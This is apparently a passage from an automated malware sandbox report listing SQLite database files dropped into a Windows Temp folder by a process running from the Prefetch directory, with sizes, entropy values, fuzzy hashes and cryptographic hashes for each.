SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Lvn0AwoiAY

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M2vcsNX0eS

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MNXL94cdG6

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N1xEUNZmC4

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N5lrE6gCed

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NDHXm6t1sr

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NLEqfSc5tf

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NUhPHkB12Y

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NuIwiHq08y

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OBDM5kflsh

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OELxUGUtkv

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OzshqDAmoK

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PBSk0Zm5Dd

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PHrHSB8iQs

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PJrpI3wWLl

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QIqnsY8DEg

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QVTatqX4tM

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QiQMIefFnD

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QzfW7VLa6U

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\S3RYICtoZ4

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\S70rTITpHM

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SRM9sBJcLM

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SVsEb98rBZ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TAtpzAgWQq

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TF9oZHvaDw

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TeytNcx2K2

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
